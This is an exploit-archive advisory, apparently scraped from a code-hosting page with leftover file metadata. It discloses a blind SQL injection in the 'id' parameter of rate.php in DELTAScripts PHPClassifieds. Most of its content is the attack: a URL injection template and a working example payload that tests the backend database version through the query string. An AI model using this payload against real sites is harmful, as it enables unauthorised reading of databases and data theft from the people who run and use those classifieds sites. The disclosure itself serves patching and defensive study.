19 lines
No EOL
400 B
Text
19 lines
No EOL
400 B
Text
/*
|
|
|
|
Name : DELTAScripts PHPClassifieds
|
|
Vuln : Blind SQL Injection
|
|
|
|
Author : Hamza 'MizoZ' N.
|
|
Email : mizozx[at]gmail[dot]com
|
|
WebSite : www.greymen.org<http://www.greymen.org>
|
|
|
|
Greetz : Zuka, all friends & arab hackers
|
|
|
|
*/
|
|
|
|
Vulnerability is in the rate.php , $_GET['id']
|
|
|
|
[HOST]/[PATH]/rate.php?id=[true value]+[INJECTION]
|
|
|
|
exemples :
|
|
http://server/rate.php?id=405+and+%28select%20version%28%29%29=5-- |